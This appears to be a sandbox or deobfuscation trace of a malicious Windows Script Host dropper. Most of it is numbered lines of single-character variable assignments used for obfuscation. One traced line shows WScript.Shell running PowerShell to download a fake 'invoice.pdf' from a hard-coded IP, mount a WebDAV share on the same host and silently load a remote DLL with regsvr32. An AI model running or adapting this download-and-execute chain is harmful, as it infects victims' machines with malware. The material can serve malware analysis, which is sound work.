mymnkacxw + iswuxlt + wzcvmgayh + hmpgc + kxlqwtk + vqlkos + wzcvmgayh + mhozt + dslsejwd + ljmurbl + mnjkwhihh + yxifsz + ixkbyglk + rmxslzy + wazjkhiw + cosdznkxg + cosdznkxg + mnjkwhihh + masel + nzdxzoxa + nzdxzoxa + msnvf + pvdgvnarq + nakrvgpk + ljmurbl + msnvf + jmxxwccdd + nakrvgpk + ljmurbl + msnvf + ljmurbl + ukjodri + lmdtxb + asfjivae + nzdxzoxa + wzcvmgayh + hmpgc + kxlqwtk + vqlkos + wzcvmgayh + mhozt + dslsejwd + ljmurbl + mnjkwhihh + wazjkhiw + mnjkwhihh + onnjdii + ibgowjhe + ibgowjhe + uwkirrz + cosdznkxg + upebpg + ygyrwmf + cosdznkxg + rmxslzy + mymnkacxw + cosdznkxg + dslsejwd + tbscdzhrr + mnjkwhihh + mymnkacxw + iswuxlt + wzcvmgayh + hmpgc + kxlqwtk + vqlkos + wzcvmgayh + mhozt + dslsejwd + ljmurbl + mnjkwhihh + yxifsz + ixkbyglk + ibgowjhe + ibgowjhe + mhozt + tbscdzhrr + yxifsz + rmxslzy + nzdxzoxa + mhozt + rmxslzy + hmpgc + dslsejwd + cosdznkxg + rmxslzy + sfujnzczx + uwkirrz + dslsejwd + rmxslzy + iswuxlt + iswuxlt + msnvf + pvdgvnarq + nakrvgpk + ljmurbl + msnvf + jmxxwccdd + nakrvgpk + ljmurbl + msnvf + ljmurbl + ukjodri + lmdtxb + asfjivae + nrpelm + jcuwi + jcuwi + jcuwi + jcuwi + iswuxlt + yxifsz + upebpg + kxlqwtk + yvzgljuh + yvzgljuh + yvzgljuh + ygyrwmf + vqlkos + vqlkos + cosdznkxg + iswuxlt + ibgowjhe + ibgowjhe + mhozt + tbscdzhrr + yxifsz + rmxslzy + nzdxzoxa + mhozt + rmxslzy + ygyrwmf + dslsejwd + tqklwrv + uwkirrz + kxlqwtk + ygyrwmf + nakrvgpk + ukjodri + rmxslzy + nzdxzoxa + uwkirrz + rmxslzy + iswuxlt + iswuxlt + msnvf + pvdgvnarq + nakrvgpk + ljmurbl + msnvf + jmxxwccdd + nakrvgpk + ljmurbl + msnvf + ljmurbl + ukjodri + lmdtxb + asfjivae + nrpelm + jcuwi + jcuwi + jcuwi + jcuwi + iswuxlt + yxifsz + upebpg + kxlqwtk + yvzgljuh + yvzgljuh + yvzgljuh + ygyrwmf + vqlkos + vqlkos + cosdznkxg + iswuxlt + ukjodri + nakrvgpk + jcuwi + pvdgvnarq + pvdgvnarq + ukjodri + ukjodri + yhjiyp + msnvf + pvdgvnarq + msnvf + asfjivae + lmdtxb + jcuwi + yhjiyp + ljmurbl + yxifsz + ipjonox + ipjonox, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll",0,false) ➔ 0
14	}
15	ygyrwmf = "T";
16	ygyrwmf = "v";
17	ygyrwmf = "F";
18	ygyrwmf = "X";
19	ygyrwmf = "W";
20	ygyrwmf = "v";
21	ygyrwmf = "g";
22	ygyrwmf = "z";
23	ygyrwmf = "X";
24	ygyrwmf = "z";
25	ygyrwmf = "g";
26	ygyrwmf = "V";
27	ygyrwmf = "D";
28	ygyrwmf = "Q";
29	ygyrwmf = "p";
30	ygyrwmf = "X";
31	ygyrwmf = "B";
32	ygyrwmf = "k";
33	ygyrwmf = "P";
34	ygyrwmf = "I";
35	ygyrwmf = "I";
36	ygyrwmf = "U";
37	ygyrwmf = "Z";
38	ygyrwmf = "k";
39	ygyrwmf = "E";
40	ygyrwmf = "l";
41	ygyrwmf = "b";
42	ygyrwmf = "E";
43	ygyrwmf = "o";
44	ygyrwmf = "y";
45	ygyrwmf = "D";
46	ygyrwmf = "t";
47	ygyrwmf = "Q";
48	ygyrwmf = "N";
49	ygyrwmf = "z";
50	ygyrwmf = "r";
51	aszls = "q";
52	aszls = "Y";
53	aszls = "D";
54	aszls = "B";
55	aszls = "J";
56	aszls = "V";
57	aszls = "e";
58	aszls = "M";
59	aszls = "C";
60	aszls = "o";
61	aszls = "u";
62	aszls = "u";
63	aszls = "n";
64	aszls = "n";
65	aszls = "M";
66	aszls = "c";
67	aszls = "z";
68	aszls = "T";
69	aszls = "o";
70	aszls = "r";
71	aszls = "q";
72	aszls = "G";
73	aszls = "e";
74	aszls = "M";
75	aszls = "R";
76	aszls = "n";
77	aszls = "e";
78	aszls = "c";
79	aszls = "L";
80	aszls = "e";
81	aszls = "z";
82	aszls = "g";
83	aszls = "s";
84	aszls = "H";
85	aszls = "H";
86	aszls = "U";
87	aszls = "X";
88	aszls = "a";
89	aszls = "d";
90	aszls = "s";
91	aszls = "b";
92	dslsejwd = "Y";
93	dslsejwd = "x";
94	dslsejwd = "O";
95	dslsejwd = "t";
96	dslsejwd = "S";
97	dslsejwd = "Z";
98	dslsejwd = "o";
99	dslsejwd = "o";
100	dslsejwd = "v";
101	dslsejwd = "c";
102	dslsejwd = "N";
103	dslsejwd = "b";
104	dslsejwd = "N";
105	dslsejwd = "p";
106	dslsejwd = "u";
107	dslsejwd = "d";
108	dslsejwd = "T";
109	dslsejwd = "I";
110	dslsejwd = "g";
111	dslsejwd = "L";
112	dslsejwd = "F";
113	dslsejwd = "v";
114	dslsejwd = "w";
115	dslsejwd = "P";
116	dslsejwd = "x";
117	dslsejwd = "b";
118	dslsejwd = "T";
119	dslsejwd = "n";
120	dslsejwd = "s";
121	dslsejwd = "p";
122	dslsejwd = "Z";
123	dslsejwd = "z";
124	dslsejwd = "z";
125	dslsejwd = "q";
126	dslsejwd = "s";
127	dslsejwd = "n";
128	dslsejwd = "e";
129	cosdznkxg = "E";
130	cosdznkxg = "l";
131	cosdznkxg = "f";
132	cosdznkxg = "k";
133	cosdznkxg = "V";
134	cosdznkxg = "e";
135	cosdznkxg = "v";
136	cosdznkxg = "s";
137	cosdznkxg = "C";
138	cosdznkxg = "D";
139	cosdznkxg = "u";
140	cosdznkxg = "n";
141	cosdznkxg = "f";
142	cosdznkxg = "V";
143	cosdznkxg = "u";
144	cosdznkxg = "R";
145	cosdznkxg = "W";
146	cosdznkxg = "g";
147	cosdznkxg = "t";
148	cosdznkxg = "I";
149	cosdznkxg = "G";
150	cosdznkxg = "Q";
151	cosdznkxg = "P";
152	cosdznkxg = "f";
153	cosdznkxg = "U";
154	cosdznkxg = "h";
155	cosdznkxg = "k";
156	cosdznkxg = "a";
157	cosdznkxg = "B";
158	cosdznkxg = "s";
159	cosdznkxg = "s";
160	cosdznkxg = "F";
161	cosdznkxg = "e";
162	cosdznkxg = "E";
163	cosdznkxg = "z";
164	cosdznkxg = "w";
165	cosdznkxg = "t";
166	aslqkiu = "H";
167	aslqkiu = "x";
168	aslqkiu = "k";
169	aslqkiu = "I";
170	aslqkiu = "B";
171	aslqkiu = "E";
172	aslqkiu = "g";
173	aslqkiu = "E";
174	aslqkiu = "P";
175	aslqkiu = "E";
176	aslqkiu = "i";
177	aslqkiu = "q";
178	aslqkiu = "r";
179	aslqkiu = "w";
180	aslqkiu = "B";
181	aslqkiu = "u";
182	aslqkiu = "J";
183	aslqkiu = "R";
184	aslqkiu = "X";
185	aslqkiu = "Y";
186	aslqkiu = "w";
187	aslqkiu = "p";
188	aslqkiu = "V";
189	aslqkiu = "U";
190	aslqkiu = "G";
191	aslqkiu = "Y";
192	aslqkiu = "W";
193	aslqkiu = "p";
194	aslqkiu = "w";
195	aslqkiu = "Z";
196	aslqkiu = "O";
197	aslqkiu = "P";
198	aslqkiu = "Z";
199	aslqkiu = "V";
200	aslqkiu = "L";
201	aslqkiu = "N";
202	aslqkiu = "Z";
203	aslqkiu = "U";
204	dfxviebx = "s";
205	dfxviebx = "Y";
206	dfxviebx = "O";
207	dfxviebx = "G";
208	dfxviebx = "t";
209	dfxviebx = "c";
210	dfxviebx = "g";
211	dfxviebx = "A";
212	dfxviebx = "E";
213	dfxviebx = "P";
214	dfxviebx = "q";
215	dfxviebx = "m";
216	dfxviebx = "s";
217	dfxviebx = "Q";
218	dfxviebx = "I";
219	vqlkos = "i";
220	vqlkos = "u";
221	vqlkos = "C";
222	vqlkos = "a";
223	vqlkos = "T";
224	vqlkos = "l";
225	vqlkos = "c";
226	vqlkos = "G";
227	vqlkos = "f";
228	vqlkos = "R";
229	vqlkos = "W";
230	vqlkos = "c";
231	vqlkos = "y";
232	vqlkos = "Y";
233	vqlkos = "h";
234	vqlkos = "K";
235	vqlkos = "H";
236	vqlkos = "P";
237	vqlkos = "x";
238	vqlkos = "x";
239	vqlkos = "F";
240	vqlkos = "Q";
241	vqlkos = "z";
242	vqlkos = "u";
243	vqlkos = "V";
244	vqlkos = "R";
245	vqlkos = "f";
246	vqlkos = "r";
247	vqlkos = "J";
248	vqlkos = "e";
249	vqlkos = "n";
250	vqlkos = "b";
251	vqlkos = "t";
252	vqlkos = "o";
253	tqklwrv = "w";
254	tqklwrv = "K";
255	tqklwrv = "C";
256	tqklwrv = "I";
257	tqklwrv = "L";
258	tqklwrv = "W";
259	tqklwrv = "d";
260	tqklwrv = "a";
261	tqklwrv = "i";
262	tqklwrv = "G";
263	tqklwrv = "W";
264	tqklwrv = "C";
265	tqklwrv = "g";
266	tbscdzhrr = "k";
267	tbscdzhrr = "m";
268	wzcvmgayh = "h";
269	wzcvmgayh = "k";
270	wzcvmgayh = "s";
271	wzcvmgayh = "P";
272	wzcvmgayh = "N";
273	wzcvmgayh = "O";
274	wzcvmgayh = "P";
275	wzcvmgayh = "Z";
276	wzcvmgayh = "r";
277	wzcvmgayh = "y";
278	wzcvmgayh = "X";
279	wzcvmgayh = "S";
280	wzcvmgayh = "y";
281	wzcvmgayh = "p";
282	wzcvmgayh = "F";
283	wzcvmgayh = "o";
284	wzcvmgayh = "e";
285	wzcvmgayh = "j";
286	wzcvmgayh = "A";
287	wzcvmgayh = "w";
288	wzcvmgayh = "U";
289	wzcvmgayh = "N";
290	wzcvmgayh = "i";
291	rvafu = "C";
292	rvafu = "e";
293	rvafu = "N";
294	rvafu = "N";
295	rvafu = "F";
296	rvafu = "t";
297	rvafu = "G";
298	rvafu = "F";
299	rvafu = "z";
300	rvafu = "L";
301	rvafu = "n";
302	rvafu = "w";
303	rvafu = "q";
304	rvafu = "d";
305	rvafu = "Q";
306	rvafu = "j";
307	rvafu = "Z";
308	rvafu = "L";
309	rvafu = "C";
310	rvafu = "W";
311	rvafu = "Q";
312	hmpgc = "i";
313	hmpgc = "h";
314	hmpgc = "j";
315	hmpgc = "l";
316	hmpgc = "n";
317	onnjdii = "R";
318	onnjdii = "M";
319	onnjdii = "\"";
320	erykh = "W";
321	erykh = "Z";
322	erykh = "D";
323	erykh = "f";
324	erykh = "T";
325	upebpg = "n";
326	upebpg = "Y";
327	upebpg = "G";
328	upebpg = "w";
329	upebpg = "H";
330	upebpg = "X";
331	upebpg = "e";
332	upebpg = "m";
333	upebpg = "A";
334	upebpg = "P";
335	upebpg = "w";
336	upebpg = "o";
337	upebpg = "F";
338	upebpg = "N";
339	upebpg = "F";
340	upebpg = "y";
341	upebpg = "j";
342	upebpg = "a";
343	uwkirrz = "y";
344	uwkirrz = "W";
345	uwkirrz = "u";
346	uwkirrz = "u";
347	uwkirrz = "p";
348	uwkirrz = "T";
349	uwkirrz = "w";
350	uwkirrz = "v";
351	uwkirrz = "p";
352	uwkirrz = "d";
353	uwkirrz = "h";
354	uwkirrz = "E";
355	uwkirrz = "a";
356	uwkirrz = "G";
357	uwkirrz = "Y";
358	uwkirrz = "Y";
359	uwkirrz = "B";
360	uwkirrz = "x";
361	uwkirrz = "y";
362	uwkirrz = "j";
363	uwkirrz = "d";
364	uwkirrz = "M";
365	uwkirrz = "j";
366	uwkirrz = "c";
367	uwkirrz = "h";
368	uwkirrz = "P";
369	uwkirrz = "Y";
370	uwkirrz = "M";
371	uwkirrz = "p";
372	uwkirrz = "L";
373	uwkirrz = "g";
374	uwkirrz = "s";
375	flompc = "Z";
376	flompc = "G";
377	flompc = "o";
378	flompc = "u";
379	flompc = "I";
380	flompc = "G";
381	flompc = "Z";
382	flompc = "x";
383	flompc = "j";
384	flompc = "m";
385	flompc = "c";
386	flompc = "v";
387	flompc = "M";
388	flompc = "u";
389	flompc = "p";
390	flompc = "J";
391	flompc = "W";
392	qulugtp = "q";
393	qulugtp = "b";
394	qulugtp = "i";
395	qulugtp = "K";
396	qulugtp = "j";
397	qulugtp = "V";
398	qulugtp = "B";
399	qulugtp = "e";
400	qulugtp = "N";
401	qulugtp = "Z";
402	qulugtp = "N";
403	qulugtp = "x";
404	qulugtp = "W";
405	qulugtp = "t";
406	qulugtp = "C";
407	qulugtp = "f";
408	qulugtp = "x";
409	qulugtp = "e";
410	qulugtp = "n";
411	qulugtp = "x";
412	qulugtp = "R";
413	qulugtp = "O";
414	qulugtp = "p";
415	qulugtp = "Y";
416	qulugtp = "N";
417	qulugtp = "l";
418	qulugtp = "h";
419	qulugtp = "x";
420	qulugtp = "w";
421	qulugtp = "k";
422	qulugtp = "v";
423	qulugtp = "w";
424	qulugtp = "h";
425	qulugtp = "w";
426	qulugtp = "e";
427	qulugtp = "H";
428	csxpgn = "p";
429	csxpgn = "B";
430	csxpgn = "Q";
431	csxpgn = "E";
432	csxpgn = "T";
433	csxpgn = "A";
434	csxpgn = "C";
435	csxpgn = "R";
436	csxpgn = "q";
437	csxpgn = "s";
438	csxpgn = "X";
439	csxpgn = "z";
440	csxpgn = "O";
441	csxpgn = "i";
442	csxpgn = "w";
443	csxpgn = "u";
444	csxpgn = "l";
445	csxpgn = "H";
446	csxpgn = "J";
447	csxpgn = "T";
448	csxpgn = "o";
449	csxpgn = "t";
450	csxpgn = "T";
451	csxpgn = "D";
452	csxpgn = "v";
453	csxpgn = "C";
454	csxpgn = "N";
455	csxpgn = "k";
456	csxpgn = "N";
457	csxpgn = "d";
458	csxpgn = "h";
459	csxpgn = "F";
460	masel = "b";
461	masel = "D";
462	masel = "c";
463	masel = "R";
464	masel = "H";
465	masel = "x";
466	masel = "U";
467	masel = "T";
468	masel = "G";
469	masel = "E";
470	masel = "P";
471	masel = "x";
472	masel = "r";
473	masel = "Y";
474	masel = "j";
475	masel = "F";
476	masel = "S";
477	masel = "N";
478	masel = "D";
479	masel = "k";
480	masel = "o";
481	masel = "D";
482	masel = "c";
483	masel = "H";
484	masel = "y";
485	masel = "G";
486	masel = "C";
487	masel = "F";
488	masel = "n";
489	masel = "M";
490	masel = "P";
491	masel = "L";
492	masel = "o";
493	masel = "b";
494	masel = "k";
495	masel = "o";
496	masel = "S";
497	masel = "J";
498	masel = "n";
499	masel = ":";
500	njicja = "g";
501	njicja = "g";
502	njicja = "i";
503	njicja = "x";
504	njicja = "j";
505	njicja = "F";
506	njicja = "L";
507	njicja = "t";
508	njicja = "v";
509	njicja = "p";
510	njicja = "F";
511	njicja = "O";
512	njicja = "P";
513	njicja = "j";
514	njicja = "k";
515	njicja = "O";
516	njicja = "u";
517	njicja = "A";
518	njicja = "x";
519	njicja = "v";
520	njicja = "e";
521	njicja = "q";
522	yvzgljuh = "g";
523	yvzgljuh = "e";
524	yvzgljuh = "j";
525	yvzgljuh = "w";
526	quxtupndt = "q";
527	quxtupndt = "i";
528	quxtupndt = "o";
529	quxtupndt = "u";
530	quxtupndt = "W";
531	quxtupndt = "Q";
532	quxtupndt = "l";
533	quxtupndt = "n";
534	quxtupndt = "Z";
535	quxtupndt = "d";
536	quxtupndt = "U";
537	quxtupndt = "a";
538	quxtupndt = "z";
539	quxtupndt = "X";
540	quxtupndt = "S";
541	quxtupndt = "f";
542	quxtupndt = "U";
543	quxtupndt = "O";
544	quxtupndt = "u";
545	quxtupndt = "N";
546	quxtupndt = "t";
547	quxtupndt = "a";
548	quxtupndt = "V";
549	quxtupndt = "O";
550	quxtupndt = "r";
551	quxtupndt = "Q";
552	quxtupndt = "H";
553	quxtupndt = "p";
554	quxtupndt = "j";
555	quxtupndt = "E";
556	quxtupndt = "D";
557	quxtupndt = "q";
558	quxtupndt = "f";
559	quxtupndt = "k";
560	nzdxzoxa = "b";
561	nzdxzoxa = "E";
562	nzdxzoxa = "O";
563	nzdxzoxa = "E";
564	nzdxzoxa = "U";
565	nzdxzoxa = "q";
566	nzdxzoxa = "f";
567	nzdxzoxa = "w";
568	nzdxzoxa = "n";
569	nzdxzoxa = "a";
570	nzdxzoxa = "r";
571	nzdxzoxa = "m";
572	nzdxzoxa = "d";
573	nzdxzoxa = "X";
574	nzdxzoxa = "q";
575	nzdxzoxa = "F";
576	nzdxzoxa = "R";
577	nzdxzoxa = "m";
578	nzdxzoxa = "H";
579	nzdxzoxa = "u";
580	nzdxzoxa = "i";
581	nzdxzoxa = "Q";
582	nzdxzoxa = "Y";
583	nzdxzoxa = "L";
584	nzdxzoxa = "P";
585	nzdxzoxa = "x";
586	nzdxzoxa = "T";
587	nzdxzoxa = "S";
588	nzdxzoxa = "c";
589	nzdxzoxa = "c";
590	nzdxzoxa = "a";
591	nzdxzoxa = "s";
592	nzdxzoxa = "Q";
593	nzdxzoxa = "z";
594	nzdxzoxa = "M";
595	nzdxzoxa = "j";
596	nzdxzoxa = "U";
597	nzdxzoxa = "d";
598	nzdxzoxa = "H";
599	nzdxzoxa = "k";
600	nzdxzoxa = "J";
601	nzdxzoxa = "F";
602	nzdxzoxa = "/";
603	ecovqgimn = "Y";
604	ecovqgimn = "S";
605	ecovqgimn = "r";
606	ecovqgimn = "r";
607	ecovqgimn = "P";
608	ecovqgimn = "K";
609	ecovqgimn = "D";
610	ecovqgimn = "Z";
611	ecovqgimn = "V";
612	ecovqgimn = "d";
613	ecovqgimn = "i";
614	ecovqgimn = "R";
615	ecovqgimn = "P";
616	ecovqgimn = "h";
617	ecovqgimn = "P";
618	ecovqgimn = "v";
619	ecovqgimn = "V";
620	ecovqgimn = "v";
621	ecovqgimn = "V";
622	ecovqgimn = "o";
623	ecovqgimn = "t";
624	ecovqgimn = "k";
625	ecovqgimn = "r";
626	ecovqgimn = "R";
627	ecovqgimn = "b";
628	ecovqgimn = "O";
629	ecovqgimn = "y";
630	ecovqgimn = "K";
631	ecovqgimn = "I";
632	ecovqgimn = "W";
633	ecovqgimn = "H";
634	ecovqgimn = "U";
635	ecovqgimn = "m";
636	ecovqgimn = "n";
637	ecovqgimn = "p";
638	ecovqgimn = "Z";
639	ecovqgimn = "F";
640	ecovqgimn = "P";
641	ecovqgimn = "C";
642	ecovqgimn = "K";
643	ecovqgimn = "k";
644	ecovqgimn = "P";
645	kfomnftq = "i";
646	kfomnftq = "f";
647	kfomnftq = "q";
648	kfomnftq = "w";
649	kfomnftq = "M";
650	kfomnftq = "a";
651	kfomnftq = "G";
652	kfomnftq = "g";
653	kfomnftq = "L";
654	kfomnftq = "N";
655	kfomnftq = "L";
656	kfomnftq = "Z";
657	kfomnftq = "M";
658	kfomnftq = "y";
659	kfomnftq = "D";
660	kfomnftq = "R";
661	kfomnftq = "Q";
662	kfomnftq = "R";
663	kfomnftq = "C";
664	kfomnftq = "c";
665	kfomnftq = "E";
666	kfomnftq = "u";
667	kfomnftq = "Q";
668	kfomnftq = "M";
669	kfomnftq = "J";
670	kfomnftq = "l";
671	kfomnftq = "D";
672	kfomnftq = "c";
673	kfomnftq = "e";
674	kfomnftq = "C";
675	kfomnftq = "H";
676	kfomnftq = "t";
677	kfomnftq = "n";
678	kfomnftq = "O";
679	kfomnftq = "n";
680	kfomnftq = "r";
681	kfomnftq = "d";
682	kfomnftq = "E";
683	ljmurbl = "W";
684	ljmurbl = "E";
685	ljmurbl = "p";
686	ljmurbl = "F";
687	ljmurbl = ".";
688	ibgowjhe = "L";
689	ibgowjhe = "O";
690	ibgowjhe = "K";
691	ibgowjhe = "y";
692	ibgowjhe = "X";
693	ibgowjhe = "G";
694	ibgowjhe = "X";
695	ibgowjhe = "N";
696	ibgowjhe = "G";
697	ibgowjhe = "r";
698	ibgowjhe = "I";
699	ibgowjhe = "i";
700	ibgowjhe = "r";
701	ibgowjhe = "x";
702	ibgowjhe = "p";
703	ibgowjhe = "Z";
704	ibgowjhe = "t";
705	ibgowjhe = "t";
706	ibgowjhe = "c";
707	ibgowjhe = "w";
708	ibgowjhe = "f";
709	ibgowjhe = "p";
710	ibgowjhe = "A";
711	ibgowjhe = "F";
712	ibgowjhe = "l";
713	ibgowjhe = "l";
714	ibgowjhe = "W";
715	ibgowjhe = "R";
716	ibgowjhe = "I";
717	ibgowjhe = "j";
718	ibgowjhe = "p";
719	ibgowjhe = "I";
720	ibgowjhe = "f";
721	ibgowjhe = "K";
722	ibgowjhe = "f";
723	ibgowjhe = "&";
724	ixkbyglk = "Z";
725	ixkbyglk = "W";
726	ixkbyglk = "e";
727	ixkbyglk = "W";
728	ixkbyglk = "S";
729	ixkbyglk = "u";
730	ixkbyglk = "S";
731	ixkbyglk = "c";
732	ixkbyglk = "Q";
733	ixkbyglk = "w";
734	ixkbyglk = "L";
735	ixkbyglk = "z";
736	ixkbyglk = "o";
737	ixkbyglk = "Q";
738	ixkbyglk = "J";
739	ixkbyglk = "p";
740	ixkbyglk = "i";
741	ixkbyglk = "N";
742	ixkbyglk = "Z";
743	ixkbyglk = "f";
744	ixkbyglk = "D";
745	ixkbyglk = "Z";
746	ixkbyglk = "u";
747	ixkbyglk = "D";
748	ixkbyglk = "Z";
749	ixkbyglk = "i";
750	ixkbyglk = "M";
751	ixkbyglk = "H";
752	ixkbyglk = "w";
753	ixkbyglk = "m";
754	ixkbyglk = "N";
755	ixkbyglk = "e";
756	ixkbyglk = "H";
757	ixkbyglk = "h";
758	ixkbyglk = "y";
759	ixkbyglk = "a";
760	ixkbyglk = "U";
761	ixkbyglk = "x";
762	ixkbyglk = "c";
763	ixkbyglk = "f";
764	pvdgvnarq = "F";
765	pvdgvnarq = "V";
766	pvdgvnarq = "9";
767	dhedv = "A";
768	dhedv = "r";
769	dhedv = "D";
770	dhedv = "j";
771	dhedv = "M";
772	dhedv = "P";
773	dhedv = "G";
774	dhedv = "i";
775	dhedv = "j";
776	dhedv = "k";
777	dhedv = "Z";
778	dhedv = "m";
779	dhedv = "I";
780	dhedv = "r";
781	dhedv = "l";
782	dhedv = "S";
783	nrpelm = "n";
784	nrpelm = "G";
785	nrpelm = "@";
786	nokxk = "J";
787	nokxk = "V";
788	nokxk = "Y";
789	nokxk = "P";
790	nokxk = "c";
791	nokxk = "t";
792	nokxk = "M";
793	nokxk = "Q";
794	nokxk = "l";
795	nokxk = "S";
796	nokxk = "r";
797	nokxk = "F";
798	nokxk = "z";
799	nokxk = "f";
800	nokxk = "Y";
801	nokxk = "B";
802	nokxk = "m";
803	nokxk = "C";
804	nokxk = "f";
805	nokxk = "D";
806	nokxk = "P";
807	nokxk = "f";
808	nokxk = "U";
809	nokxk = "Z";
810	nokxk = "E";
811	nokxk = "a";
812	nokxk = "X";
813	nokxk = "Z";
814	nokxk = "m";
815	nokxk = "Z";
816	nokxk = "O";
817	aqmmx = "W";
818	aqmmx = "P";
819	aqmmx = "Q";
820	aqmmx = "n";
821	aqmmx = "f";
822	aqmmx = "S";
823	aqmmx = "f";
824	aqmmx = "g";
825	aqmmx = "m";
826	aqmmx = "I";
827	aqmmx = "d";
828	aqmmx = "R";
829	aqmmx = "I";
830	aqmmx = "V";
831	aqmmx = "k";
832	aqmmx = "O";
833	aqmmx = "X";
834	aqmmx = "S";
835	aqmmx = "t";
836	aqmmx = "m";
837	aqmmx = "I";
838	aqmmx = "H";
839	aqmmx = "k";
840	aqmmx = "s";
841	aqmmx = "P";
842	aqmmx = "y";
843	aqmmx = "B";
844	aqmmx = "A";
845	aqmmx = "b";
846	aqmmx = "L";
847	aqmmx = "b";
848	aqmmx = "V";
849	aqmmx = "i";
850	aqmmx = "M";
851	aqmmx = "n";
852	aqmmx = "K";
853	aqmmx = "K";
854	aqmmx = "p";
855	aqmmx = "V";
856	aqmmx = "K";
857	iswuxlt = "e";
858	iswuxlt = "H";
859	iswuxlt = "O";
860	iswuxlt = "d";
861	iswuxlt = "V";
862	iswuxlt = "u";
863	iswuxlt = "c";
864	iswuxlt = "Z";
865	iswuxlt = "Y";
866	iswuxlt = "Q";
867	iswuxlt = "U";
868	iswuxlt = "m";
869	iswuxlt = "t";
870	iswuxlt = "D";
871	iswuxlt = "o";
872	iswuxlt = "f";
873	iswuxlt = "V";
874	iswuxlt = "P";
875	iswuxlt = "R";
876	iswuxlt = "x";
877	iswuxlt = "u";
878	iswuxlt = "s";
879	iswuxlt = "z";
880	iswuxlt = "a";
881	iswuxlt = "F";
882	iswuxlt = "C";
883	iswuxlt = "C";
884	iswuxlt = "W";
885	iswuxlt = "j";
886	iswuxlt = "I";
887	iswuxlt = "l";
888	iswuxlt = "p";
889	iswuxlt = "S";
890	iswuxlt = "y";
891	iswuxlt = "L";
892	iswuxlt = "\\";
893	tsxarp = "h";
894	tsxarp = "W";
895	tsxarp = "T";
896	tsxarp = "N";
897	tsxarp = "N";
898	tsxarp = "M";
899	tsxarp = "b";
900	tsxarp = "q";
901	tsxarp = "b";
902	tsxarp = "Z";
903	tsxarp = "b";
904	tsxarp = "C";
905	tsxarp = "Y";
906	tsxarp = "S";
907	tsxarp = "y";
908	tsxarp = "L";
909	tsxarp = "u";
910	tsxarp = "W";
911	tsxarp = "t";
912	tsxarp = "p";
913	tsxarp = "m";
914	tsxarp = "r";
915	tsxarp = "k";
916	tsxarp = "W";
917	tsxarp = "x";
918	zypkuww = "r";
919	zypkuww = "e";
920	zypkuww = "A";
921	zypkuww = "L";
922	zypkuww = "h";
923	zypkuww = "E";
924	zypkuww = "M";
925	zypkuww = "g";
926	zypkuww = "Z";
927	zypkuww = "f";
928	zypkuww = "Y";
929	mnjkwhihh = "N";
930	mnjkwhihh = "E";
931	mnjkwhihh = "e";
932	mnjkwhihh = "s";
933	mnjkwhihh = "q";
934	mnjkwhihh = "L";
935	mnjkwhihh = "W";
936	mnjkwhihh = "D";
937	mnjkwhihh = "F";
938	mnjkwhihh = "X";
939	mnjkwhihh = "F";
940	mnjkwhihh = "J";
941	mnjkwhihh = "I";
942	mnjkwhihh = "E";
943	mnjkwhihh = "c";
944	mnjkwhihh = "C";
945	mnjkwhihh = "z";
946	mnjkwhihh = "l";
947	mnjkwhihh = "t";
948	mnjkwhihh = "R";
949	mnjkwhihh = "V";
950	mnjkwhihh = "B";
951	mnjkwhihh = "f";
952	mnjkwhihh = "V";
953	mnjkwhihh = "k";
954	mnjkwhihh = "Y";
955	mnjkwhihh = "R";
956	mnjkwhihh = "p";
957	asfjivae = "X";
958	asfjivae = "V";
959	asfjivae = "O";
960	asfjivae = "h";
961	asfjivae = "g";
962	asfjivae = "Z";
963	asfjivae = "G";
964	asfjivae = "s";
965	asfjivae = "Q";
966	asfjivae = "n";
967	asfjivae = "V";
968	asfjivae = "G";
969	asfjivae = "S";
970	asfjivae = "r";
971	asfjivae = "J";
972	asfjivae = "A";
973	asfjivae = "E";
974	asfjivae = "k";
975	asfjivae = "L";
976	asfjivae = "V";
977	asfjivae = "5";
978	cpugl = "j";
979	cpugl = "Q";
980	cpugl = "e";
981	cpugl = "h";
982	cpugl = "y";
983	cpugl = "V";
984	cpugl = "u";
985	cpugl = "R";
986	nakrvgpk = "q";
987	nakrvgpk = "Y";
988	nakrvgpk = "w";
989	nakrvgpk = "n";
990	nakrvgpk = "J";
991	nakrvgpk = "y";
992	nakrvgpk = "a";
993	nakrvgpk = "s";
994	nakrvgpk = "I";
995	nakrvgpk = "M";
996	nakrvgpk = "x";
997	nakrvgpk = "L";
998	nakrvgpk = "n";
999	nakrvgpk = "G";
1000	nakrvgpk = "U";
1001	nakrvgpk = "b";
1002	nakrvgpk = "B";
1003	nakrvgpk = "S";
1004	nakrvgpk = "g";
1005	nakrvgpk = "P";
1006	nakrvgpk = "i";
1007	nakrvgpk = "D";
1008	nakrvgpk = "X";
1009	nakrvgpk = "3";
1010	mhozt = "E";
1011	mhozt = "c";
1012	mhozt = "g";
1013	mhozt = "D";
1014	mhozt = "g";
1015	mhozt = "y";
1016	mhozt = "x";
1017	mhozt = "o";
1018	mhozt = "c";
1019	mhozt = "A";
1020	mhozt = "a";
1021	mhozt = "A";
1022	mhozt = "H";
1023	mhozt = "d";
1024	mhozt = "R";
1025	mhozt = "s";
1026	mhozt = "O";
1027	mhozt = "G";
1028	mhozt = "f";
1029	mhozt = "A";
1030	mhozt = "I";
1031	mhozt = "Y";
1032	mhozt = "d";
1033	mhozt = "E";
1034	mhozt = "B";
1035	mhozt = "O";
1036	mhozt = "R";
1037	mhozt = "p";
1038	mhozt = "A";
1039	mhozt = "r";
1040	mhozt = "u";
1041	mhozt = "k";
1042	mhozt = "Z";
1043	mhozt = "c";
1044	rmxslzy = "m";
1045	rmxslzy = "h";
1046	rmxslzy = "D";
1047	rmxslzy = "r";
1048	rmxslzy = "V";
1049	rmxslzy = "J";
1050	rmxslzy = "k";
1051	rmxslzy = "s";
1052	rmxslzy = "c";
1053	rmxslzy = "g";
1054	rmxslzy = "F";
1055	rmxslzy = "B";
1056	rmxslzy = "g";
1057	rmxslzy = "c";
1058	rmxslzy = "o";
1059	rmxslzy = "U";
1060	rmxslzy = "u";
1061	rmxslzy = "R";
1062	rmxslzy = "X";
1063	rmxslzy = "b";
1064	rmxslzy = "x";
1065	rmxslzy = "q";
1066	rmxslzy = "X";
1067	rmxslzy = "I";
1068	rmxslzy = "Q";
1069	rmxslzy = "Y";
1070	rmxslzy = "d";
1071	rmxslzy = "I";
